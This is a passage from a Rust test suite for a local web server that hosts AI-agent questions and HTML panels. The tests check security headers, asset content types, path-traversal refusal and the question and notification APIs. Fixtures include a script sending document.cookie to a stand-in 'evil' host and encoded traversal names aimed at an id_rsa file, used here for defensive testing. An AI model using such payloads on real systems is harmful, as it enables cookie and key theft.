7100 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7101 for (name, value) in extra {
7102 head.push_str(&format!("{name}: {value}\r\n"));
7103 }
7104 if let Some(body) = body {
7105 head.push_str("Content-Type: application/json\r\n");
7106 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7107 }
7108 head.push_str("\r\n");
7109 if let Some(body) = body {
7110 head.push_str(body);
7111 }
7112 let mut socket = tokio::net::TcpStream::connect(addr)
7113 .await
7114 .expect("connect to the test server");
7115 socket
7116 .write_all(head.as_bytes())
7117 .await
7118 .expect("write request");
7119 let mut raw = Vec::new();
7120 socket.read_to_end(&mut raw).await.expect("read response");
7121 let split = raw
7124 .windows(4)
7125 .position(|w| w == b"\r\n\r\n")
7126 .expect("a header block");
7127 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7128 let bytes = raw[split + 4..].to_vec();
7129 let status = head
7130 .lines()
7131 .next()
7132 .and_then(|line| line.split_whitespace().nth(1))
7133 .and_then(|code| code.parse().ok())
7134 .expect("a status line");
7135 Res {
7136 status,
7137 headers: head.to_lowercase(),
7138 head,
7139 body: String::from_utf8_lossy(&bytes).into_owned(),
7140 bytes,
7141 }
7142 }
7143
7144 async fn request_bytes(
7150 addr: SocketAddr,
7151 path: &str,
7152 headers: &[(&str, &str)],
7153 body: &[u8],
7154 ) -> Res {
7155 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7156 for (name, value) in headers {
7157 head.push_str(&format!("{name}: {value}\r\n"));
7158 }
7159 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7160 let mut socket = tokio::net::TcpStream::connect(addr)
7161 .await
7162 .expect("connect to the test server");
7163 socket
7164 .write_all(head.as_bytes())
7165 .await
7166 .expect("write request head");
7167 socket.write_all(body).await.expect("write request body");
7168 let mut raw = Vec::new();
7169 socket.read_to_end(&mut raw).await.expect("read response");
7170 let split = raw
7171 .windows(4)
7172 .position(|w| w == b"\r\n\r\n")
7173 .expect("a header block");
7174 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7175 let bytes = raw[split + 4..].to_vec();
7176 let status = head
7177 .lines()
7178 .next()
7179 .and_then(|line| line.split_whitespace().nth(1))
7180 .and_then(|code| code.parse().ok())
7181 .expect("a status line");
7182 Res {
7183 status,
7184 headers: head.to_lowercase(),
7185 head,
7186 body: String::from_utf8_lossy(&bytes).into_owned(),
7187 bytes,
7188 }
7189 }
7190
7191 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7193 let mut state = RunState::new(
7194 PathBuf::from("/repo/magi"),
7195 "main".to_owned(),
7196 "0123456789abcdef".to_owned(),
7197 "Add a web UI\n\nMobile first.".to_owned(),
7198 Config::default(),
7199 );
7200 state.id = id.to_owned();
7201 state.status = status;
7202 let dir = runs.join(id);
7203 std::fs::create_dir_all(&dir).expect("run dir");
7204 std::fs::write(
7205 dir.join("run.json"),
7206 serde_json::to_string_pretty(&state).expect("serialize run"),
7207 )
7208 .expect("write run.json");
7209 }
7210
7211 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7215 let mut state = RunState::new(
7216 PathBuf::from(repo),
7217 "main".to_owned(),
7218 "0123456789abcdef".to_owned(),
7219 "task".to_owned(),
7220 Config::default(),
7221 );
7222 state.id = id.to_owned();
7223 state.status = status;
7224 let dir = runs.join(id);
7225 std::fs::create_dir_all(&dir).expect("run dir");
7226 std::fs::write(
7227 dir.join("run.json"),
7228 serde_json::to_string_pretty(&state).expect("serialize run"),
7229 )
7230 .expect("write run.json");
7231 }
7232
7233 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7234 let body = serde_json::json!({
7235 "schema": 1,
7236 "pid": 4242,
7237 "started_at": Timestamp::now().to_string(),
7238 "updated_at": updated_at.to_string(),
7239 "idle": false,
7240 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7241 "completed": 7,
7242 "polls": 143,
7243 });
7244 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7245 }
7246
7247 fn launch_idle(
7257 _opts: daemon::Opts,
7258 stop: daemon::Stop,
7259 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7260 Box::pin(async move {
7261 while !stop.stopped() {
7262 tokio::time::sleep(Duration::from_millis(2)).await;
7263 }
7264 Ok(())
7265 })
7266 }
7267
7268 fn launch_broken(
7271 _opts: daemon::Opts,
7272 _stop: daemon::Stop,
7273 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7274 Box::pin(async {
7275 Err(anyhow::anyhow!(
7276 "publish the daemon status file: read-only file system"
7277 ))
7278 })
7279 }
7280
7281 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7288 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7289
7290 fn launch_knocking_on_the_way_out(
7297 _opts: daemon::Opts,
7298 stop: daemon::Stop,
7299 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7300 Box::pin(async move {
7301 while !stop.stopped() {
7302 tokio::time::sleep(Duration::from_millis(2)).await;
7303 }
7304 let addr = PARK_KNOCK
7305 .lock()
7306 .expect("park knock")
7307 .expect("the test set an address");
7308 let heard = request(addr, "GET", "/api/health", None).await.status;
7309 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7310 Ok(())
7311 })
7312 }
7313
7314 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7323 for _ in 0..SETTLE_STEPS {
7324 let view = fx.get("/api/loop").await.json();
7325 if want(&view) {
7326 return view;
7327 }
7328 tokio::time::sleep(Duration::from_millis(10)).await;
7329 }
7330 panic!(
7331 "the loop never settled: {}",
7332 fx.get("/api/loop").await.json()
7333 );
7334 }
7335
7336 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7338 let store = fx.questions();
7339 let mut q = Question::new(
7340 "20260902-000000-beef".to_owned(),
7341 "implement".to_owned(),
7342 "impl-A".to_owned(),
7343 summary.to_owned(),
7344 "because it matters".to_owned(),
7345 choices.iter().map(|c| (*c).to_owned()).collect(),
7346 );
7347 store.put(&mut q).expect("put question");
7348 q.id
7349 }
7350
7351 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7357 let store = fx.questions();
7358 let mut q = Question::new(
7359 "20260902-000000-beef".to_owned(),
7360 "land".to_owned(),
7361 "fix".to_owned(),
7362 "Merge this?".to_owned(),
7363 "the diff is in the panel".to_owned(),
7364 vec!["merge".to_owned(), "hold".to_owned()],
7365 );
7366 let staging = fx.home.path().join("staging");
7369 std::fs::create_dir_all(&staging).expect("staging dir");
7370 let sources: Vec<PathBuf> = assets
7371 .iter()
7372 .map(|(name, bytes)| {
7373 let path = staging.join(name);
7374 std::fs::write(&path, bytes).expect("write staged asset");
7375 path
7376 })
7377 .collect();
7378 store
7379 .put_panel(&mut q, html, &sources)
7380 .expect("write the panel");
7381 store.put(&mut q).expect("put question");
7382 q.id
7383 }
7384
7385 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7394 seed_talk_at(&fx.talks(), id, status)
7395 }
7396
7397 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7398 std::fs::create_dir_all(store.root()).expect("talks dir");
7399 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7400 .expect("serialize a seat");
7401 let body = serde_json::json!({
7402 "schema": 1,
7403 "id": id,
7404 "repo": "/repo/magi",
7405 "agent": "mock",
7406 "status": status,
7407 "turns": [],
7408 "created_at": Timestamp::now().to_string(),
7409 "updated_at": Timestamp::now().to_string(),
7410 "seat": seat,
7411 });
7412 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7413 store.get(id).expect("the seeded talk has to be readable");
7414 id.to_owned()
7415 }
7416
7417 #[tokio::test]
7418 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7419 let fx = Fixture::start().await;
7420 let id = panel(
7421 &fx,
7422 "<h1>Merge?</h1><img src=\"diff.svg\">",
7423 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7424 );
7425
7426 for path in [
7427 format!("/api/questions/{id}/panel"),
7428 format!("/api/questions/{id}/asset/diff.svg"),
7429 ] {
7430 let res = fx.get(&path).await;
7431 assert_eq!(res.status, 200, "{path}: {}", res.body);
7432 assert_eq!(
7438 res.header("content-security-policy"),
7439 Some(
7440 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7441 font-src data:; base-uri 'none'; form-action 'none'; \
7442 frame-ancestors 'self'"
7443 ),
7444 "{path} is the only thing between a hostile panel and the tailnet"
7445 );
7446 assert_eq!(
7447 res.header("x-content-type-options"),
7448 Some("nosniff"),
7449 "{path}: a browser must not re-decide the type we sent"
7450 );
7451 assert_eq!(
7452 res.header("referrer-policy"),
7453 Some("no-referrer"),
7454 "{path}: a panel must not leak the question id off the machine"
7455 );
7456
7457 let pre = fx.head(&path).await;
7462 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7463 assert_eq!(
7464 pre.header("content-security-policy"),
7465 res.header("content-security-policy"),
7466 "{path}: the preflight carries the same policy"
7467 );
7468 assert_eq!(
7469 pre.header("content-type"),
7470 res.header("content-type"),
7471 "{path}: the preflight carries the same type"
7472 );
7473 }
7474 }
7475
7476 #[tokio::test]
7477 async fn a_panel_reaches_the_browser_byte_for_byte() {
7478 let fx = Fixture::start().await;
7479 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7484 let id = panel(&fx, html, &[]);
7485
7486 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7487
7488 assert_eq!(res.status, 200);
7489 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7490 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7491 assert_eq!(
7492 res.header("content-disposition"),
7493 None,
7494 "the panel itself is rendered in the frame, not downloaded"
7495 );
7496 }
7497
7498 #[tokio::test]
7499 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7500 let fx = Fixture::start().await;
7501 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7502 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7503 let id = panel(
7504 &fx,
7505 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7506 &[("diff.svg", svg), ("shot.png", png)],
7507 );
7508
7509 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7510 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7511
7512 assert_eq!(as_svg.status, 200);
7513 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7514 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7519
7520 assert_eq!(as_png.status, 200);
7521 assert_eq!(as_png.header("content-type"), Some("image/png"));
7522 assert_eq!(
7523 as_png.header("content-disposition"),
7524 None,
7525 "a raster image has no execution surface, so tapping it still shows it"
7526 );
7527 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7528 }
7529
7530 #[tokio::test]
7531 async fn an_html_asset_is_never_served_as_html() {
7532 let fx = Fixture::start().await;
7533 let id = panel(
7534 &fx,
7535 "<p>see the notes</p>",
7536 &[
7537 (
7538 "notes.html",
7539 b"<script>fetch('http://evil/'+document.cookie)</script>",
7540 ),
7541 ("hook.js", b"fetch('http://evil/')"),
7542 ("data.json", b"{}"),
7543 ("HEADLINE.TXT", b"plain"),
7544 ],
7545 );
7546
7547 for name in ["notes.html", "hook.js", "data.json"] {
7548 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7549 assert_eq!(res.status, 200, "{name}: {}", res.body);
7550 assert_eq!(
7555 res.header("content-type"),
7556 Some("application/octet-stream"),
7557 "{name} must not be a type the browser will execute or render"
7558 );
7559 }
7560 let txt = fx
7563 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7564 .await;
7565 assert_eq!(
7566 txt.header("content-type"),
7567 Some("text/plain; charset=utf-8")
7568 );
7569 }
7570
7571 #[tokio::test]
7572 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7573 let fx = Fixture::start().await;
7574 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7575 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7579
7580 for encoded in [
7587 "%2e%2e%2fid_rsa",
7588 "..%2fid_rsa",
7589 "..%5cid_rsa",
7590 "%2e%2e%5cid_rsa",
7591 "diff%00.svg",
7592 "..",
7593 ".hidden",
7594 "%2e%2e%2f%2e%2e%2fid_rsa",
7595 ] {
7596 let res = fx
7597 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7598 .await;
7599 assert_eq!(
7600 res.status, 400,
7601 "`{encoded}` has to be refused by name, not looked up: {}",
7602 res.body
7603 );
7604 assert!(res.json()["error"].is_string(), "{}", res.body);
7605 }
7606
7607 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7613 let res = fx
7614 .get(&format!("/api/questions/{id}/asset/{literal}"))
7615 .await;
7616 assert_eq!(
7617 res.status, 404,
7618 "`{literal}` must not match the asset route at all: {}",
7619 res.body
7620 );
7621 }
7622 }
7623
7624 #[tokio::test]
7625 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7626 let fx = Fixture::start().await;
7627 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7628 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7629
7630 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7634 assert_eq!(none.status, 404, "{}", none.body);
7635 assert!(none.json()["error"].is_string(), "{}", none.body);
7636 assert_eq!(
7637 fx.head(&format!("/api/questions/{plain}/panel"))
7638 .await
7639 .status,
7640 404,
7641 "the preflight is the only way the client can learn this"
7642 );
7643
7644 let missing = fx
7646 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7647 .await;
7648 assert_eq!(missing.status, 404, "{}", missing.body);
7649 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7650
7651 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7653 assert_eq!(
7654 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7655 404
7656 );
7657 }
7658
7659 #[tokio::test]
7660 async fn a_run_with_an_open_question_reads_as_waiting() {
7661 let fx = Fixture::start().await;
7662 let run = "20260902-000000-beef".to_owned();
7663 write_run(&fx.runs(), &run, RunStatus::Implementing);
7664
7665 let before = fx.get("/api/runs").await.json();
7666 assert_eq!(before[0]["waiting"], false, "{before}");
7667
7668 let store = fx.questions();
7669 let mut q = Question::new(
7670 run.clone(),
7671 "implement".to_owned(),
7672 "impl-A".to_owned(),
7673 "Which backend?".to_owned(),
7674 String::new(),
7675 vec!["SQLite".to_owned()],
7676 );
7677 store.put(&mut q).expect("put");
7678
7679 let during = fx.get("/api/runs").await.json();
7680 assert_eq!(during[0]["waiting"], true, "{during}");
7681
7682 q.answer(Answer::Choice("SQLite".to_owned()))
7685 .expect("answer");
7686 store.put(&mut q).expect("put");
7687 let after = fx.get("/api/runs").await.json();
7688 assert_eq!(after[0]["waiting"], false, "{after}");
7689 }
7690
7691 #[tokio::test]
7692 async fn an_open_question_is_listed_and_counted_by_health() {
7693 let fx = Fixture::start().await;
7694 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7695
7696 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7697 let listed = fx.get("/api/questions").await.json();
7698 assert_eq!(listed.as_array().expect("array").len(), 1);
7699 assert_eq!(listed[0]["id"], id);
7700 assert_eq!(listed[0]["status"], "open");
7701 assert_eq!(listed[0]["choices"][1], "Redis");
7702 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7705 }
7706
7707 #[tokio::test]
7708 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7709 let fx = Fixture::start().await;
7710 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7711 let path = format!("/api/questions/{id}/answer");
7712
7713 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7714 assert_eq!(res.status, 200, "{}", res.body);
7715 let body = res.json();
7716 assert_eq!(body["status"], "answered");
7717 assert_eq!(body["answer"]["choice"], "Redis");
7718
7719 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7723 assert_eq!(again.status, 409, "{}", again.body);
7724 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7725 }
7726
7727 #[tokio::test]
7728 async fn saying_something_appends_a_turn_without_answering() {
7729 let fx = Fixture::start().await;
7730 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7731 let path = format!("/api/questions/{id}/say");
7732
7733 let res = fx
7734 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7735 .await;
7736 assert_eq!(res.status, 200, "{}", res.body);
7737 let body = res.json();
7738 assert_eq!(body["status"], "open", "talking back is not a decision");
7739 assert_eq!(body["answer"], Value::Null);
7740 assert_eq!(body["thread"][0]["who"], "operator");
7741 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7742 assert_eq!(body["waiting_on_agent"], true);
7743 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7745 }
7746
7747 #[tokio::test]
7748 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7749 let fx = Fixture::start().await;
7750 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7751
7752 let list = fx.get("/api/questions").await.json();
7753 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7754
7755 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7756 assert_eq!(res.status, 409, "{}", res.body);
7757 let q = fx.questions().get(&id).unwrap();
7758 assert!(q.status.open());
7759 assert!(q.consult.is_none());
7760 }
7761
7762 #[tokio::test]
7763 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7764 let fx = Fixture::start().await;
7765 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7766 let cfg = Config {
7767 agents: vec![crate::config::AgentSpec {
7768 id: "mock".to_owned(),
7769 kind: crate::config::AgentKind::Command,
7770 model: None,
7771 command: vec!["true".to_owned()],
7772 extra_args: Vec::new(),
7773 env: Default::default(),
7774 prompt_delivery: None,
7775 }],
7776 ..Config::default()
7777 };
7778 let talk = crate::talk::begin(
7779 &fx.talks(),
7780 &cfg,
7781 fx.home.path().to_path_buf(),
7782 Some("mock"),
7783 )
7784 .unwrap();
7785 let mut task = Task::new(
7786 "t".to_owned(),
7787 "Do it".to_owned(),
7788 PathBuf::from("/repo/magi"),
7789 Source::Agent {
7790 run: talk.id.clone(),
7791 node: crate::queue::CHAT_NODE.to_owned(),
7792 },
7793 );
7794 task.start("20260902-000000-beef".to_owned());
7795 fx.queue().put(&mut task).unwrap();
7796
7797 let list = fx.get("/api/questions").await.json();
7798 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7799 assert_eq!(
7800 list[0]["choices"],
7801 serde_json::json!(["SQLite", "Redis"]),
7802 "the hand-over is never a choice"
7803 );
7804 let _ = id;
7805 }
7806
7807 #[tokio::test]
7808 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7809 let fx = Fixture::start().await;
7810 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7811 let cfg = Config {
7812 agents: vec![crate::config::AgentSpec {
7813 id: "mock".to_owned(),
7814 kind: crate::config::AgentKind::Command,
7815 model: None,
7816 command: vec!["true".to_owned()],
7817 extra_args: Vec::new(),
7818 env: Default::default(),
7819 prompt_delivery: None,
7820 }],
7821 ..Config::default()
7822 };
7823 let repo = fx.home.path().join("chat-repo");
7825 std::fs::create_dir_all(&repo).unwrap();
7826 let toml = repo.join("magi.toml");
7827 std::fs::write(&toml, "this is = = not toml").unwrap();
7828 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7829 let mut task = Task::new(
7830 "t".to_owned(),
7831 "Do it".to_owned(),
7832 PathBuf::from("/repo/magi"),
7833 Source::Agent {
7834 run: talk.id.clone(),
7835 node: crate::queue::CHAT_NODE.to_owned(),
7836 },
7837 );
7838 task.start("20260902-000000-beef".to_owned());
7839 fx.queue().put(&mut task).unwrap();
7840
7841 let path = format!("/api/questions/{id}/consult");
7842 let res = fx.post(&path, None).await;
7843 assert!(res.status >= 400, "{}", res.body);
7844 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7845 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7846
7847 std::fs::write(&toml, "").unwrap();
7848 let res = fx.post(&path, None).await;
7849 assert_eq!(res.status, 202, "{}", res.body);
7850 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7851 }
7852
7853 #[tokio::test]
7854 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7855 let fx = Fixture::start().await;
7856 let store = fx.questions();
7857 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7858 assert_eq!(
7859 fx.get("/api/health").await.json()["questions_needs_owner"],
7860 1
7861 );
7862
7863 let res = fx
7869 .post(
7870 &format!("/api/questions/{id}/say"),
7871 Some(r#"{"body":"why not Postgres?"}"#),
7872 )
7873 .await;
7874 assert_eq!(res.status, 200, "{}", res.body);
7875 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7876 assert_eq!(
7877 fx.get("/api/health").await.json()["questions_needs_owner"],
7878 0,
7879 "waiting on the agent is not waiting on the owner"
7880 );
7881
7882 let mut q = store.get(&id).expect("get");
7886 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7887 .expect("reply");
7888 store.put(&mut q).expect("put");
7889 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7890 assert_eq!(
7891 fx.get("/api/health").await.json()["questions_needs_owner"],
7892 1,
7893 "the agent's reply is what should light the banner back up"
7894 );
7895 }
7896
7897 #[tokio::test]
7898 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7899 let fx = Fixture::start().await;
7900 let store = fx.questions();
7901
7902 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7903 let res = fx
7904 .post(
7905 &format!("/api/questions/{empty_id}/say"),
7906 Some(r#"{"body":" "}"#),
7907 )
7908 .await;
7909 assert_eq!(res.status, 400, "{}", res.body);
7910
7911 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7912 let mut answered = store.get(&answered_id).expect("get");
7913 answered
7914 .answer(Answer::Choice("SQLite".to_owned()))
7915 .expect("answer");
7916 store.put(&mut answered).expect("put");
7917 let res = fx
7918 .post(
7919 &format!("/api/questions/{answered_id}/say"),
7920 Some(r#"{"body":"still there?"}"#),
7921 )
7922 .await;
7923 assert_eq!(res.status, 409, "{}", res.body);
7924
7925 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7926 let mut abandoned = store.get(&abandoned_id).expect("get");
7927 abandoned.abandon("timed out");
7928 store.put(&mut abandoned).expect("put");
7929 let res = fx
7930 .post(
7931 &format!("/api/questions/{abandoned_id}/say"),
7932 Some(r#"{"body":"still there?"}"#),
7933 )
7934 .await;
7935 assert_eq!(res.status, 409, "{}", res.body);
7936 }
7937
7938 #[tokio::test]
7939 async fn an_answer_the_question_does_not_offer_is_refused() {
7940 let fx = Fixture::start().await;
7941 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7942 let path = format!("/api/questions/{id}/answer");
7943
7944 for body in [
7945 r#"{"choice":"Postgres"}"#,
7946 r#"{"text":"whatever you think"}"#,
7947 r#"{"choice":"Redis","text":"both"}"#,
7948 r#"{}"#,
7949 ] {
7950 let res = fx.post(&path, Some(body)).await;
7951 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7952 assert!(res.json()["error"].is_string(), "{}", res.body);
7953 }
7954 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7956 }
7957
7958 #[tokio::test]
7959 async fn a_free_text_question_takes_text_and_not_a_choice() {
7960 let fx = Fixture::start().await;
7961 let id = ask(&fx, "What should the flag be called?", &[]);
7962 let path = format!("/api/questions/{id}/answer");
7963
7964 assert_eq!(
7965 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7966 400
7967 );
7968 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7969 assert_eq!(res.status, 200, "{}", res.body);
7970 assert_eq!(res.json()["answer"]["text"], "--json");
7971 }
7972
7973 #[tokio::test]
7974 async fn an_unknown_question_is_a_json_404() {
7975 let fx = Fixture::start().await;
7976 let res = fx
7977 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7978 .await;
7979 assert_eq!(res.status, 404, "{}", res.body);
7980 assert!(res.json()["error"].is_string());
7981 }
7982
7983 #[tokio::test]
7984 async fn notifications_list_read_dismiss_and_health_agree() {
7985 let fx = Fixture::start().await;
7986 let store = Notices::at(fx.home.path().join("notifications"));
7987 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7988 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7989
7990 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7991 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7992
7993 let health = fx.get("/api/health").await.json();
7994 assert_eq!(health["notifications_unread"], 2);
7995 assert_ne!(
7996 health["notifications_rev"], rev0,
7997 "the badge must move live"
7998 );
7999
8000 let listed = fx.get("/api/notifications").await.json();
8001 assert_eq!(listed["unread"], 2);
8002 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8003 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8004
8005 let read = fx
8006 .post(&format!("/api/notifications/{}/read", a.id), None)
8007 .await;
8008 assert_eq!(read.status, 200, "{}", read.body);
8009 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8010
8011 let gone = fx
8012 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8013 .await;
8014 assert_eq!(gone.status, 200, "{}", gone.body);
8015 let listed = fx.get("/api/notifications").await.json();
8016 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8017 assert_eq!(listed["unread"], 0);
8018
8019 store.raise(Notice::info("x", "again")).unwrap();
8020 let all = fx.post("/api/notifications/read-all", None).await;
8021 assert_eq!(all.status, 200, "{}", all.body);
8022 assert_eq!(all.json()["marked"], 1);
8023 assert_eq!(
8024 fx.get("/api/health").await.json()["notifications_unread"],
8025 0
8026 );
8027
8028 let missing = fx.post("/api/notifications/nope/read", None).await;
8029 assert_eq!(missing.status, 404, "{}", missing.body);
8030 assert!(missing.json()["error"].is_string());
8031 }
8032
8033 #[tokio::test]
8040 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8041 let f = Fixture::start().await;
8042
8043 let res = f
8044 .post(
8045 "/api/queue",
8046 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8047 )
8048 .await;
8049
8050 assert_eq!(
8051 res.status, 405,
8052 "POST /api/queue must not be a route: {}",
8053 res.body
8054 );
8055 assert!(
8056 f.queue().list().is_empty(),
8057 "a task filed by a route that does not exist must not reach the disk"
8058 );
8059 assert_eq!(f.get("/api/queue").await.status, 200);
8062 }
8063
8064 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8066 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8067 .expect("checkout dir");
8068 }
8069
8070 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8072
8073 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8074 let tmp = TempDir::new().expect("tempdir");
8075 let repo = tmp.path().join("repo");
8076 std::fs::create_dir_all(&repo).expect("repo dir");
8077 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8078 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8079 if let Some(text) = machine_toml {
8080 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8081 std::fs::write(&machine, text).expect("machine toml");
8082 }
8083 (tmp, repo, machine)
8084 }
8085
8086 #[tokio::test]
8087 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8088 let (_tmp, repo, machine) =
8089 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8090 let f = Fixture::with_repo_and_machine(repo, machine).await;
8091 let res = f.get("/api/settings").await;
8092 assert_eq!(res.status, 200, "{}", res.body);
8093 let v = res.json();
8094 assert!(v["error"].is_null(), "{v}");
8095 let role = |k: &str| {
8096 v["roles"]
8097 .as_array()
8098 .and_then(|r| r.iter().find(|x| x["key"] == k))
8099 .cloned()
8100 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8101 };
8102 assert_eq!(role("judges")["source"], "machine");
8103 assert_eq!(role("judges")["editable"], true);
8104 assert_eq!(role("implementers")["source"], "default");
8105 let adv = role("advisors");
8106 assert_eq!(adv["fallback"], "judges");
8107 assert!(
8108 adv["seats"]
8109 .as_array()
8110 .is_some_and(|s| s.iter().all(|x| x == "b")),
8111 "{adv}"
8112 );
8113 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8114 assert_eq!(v["agents"][0]["source"], "repo");
8115 }
8116
8117 #[tokio::test]
8118 async fn settings_get_reports_a_config_that_does_not_parse() {
8119 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8120 let f = Fixture::with_repo_and_machine(repo, machine).await;
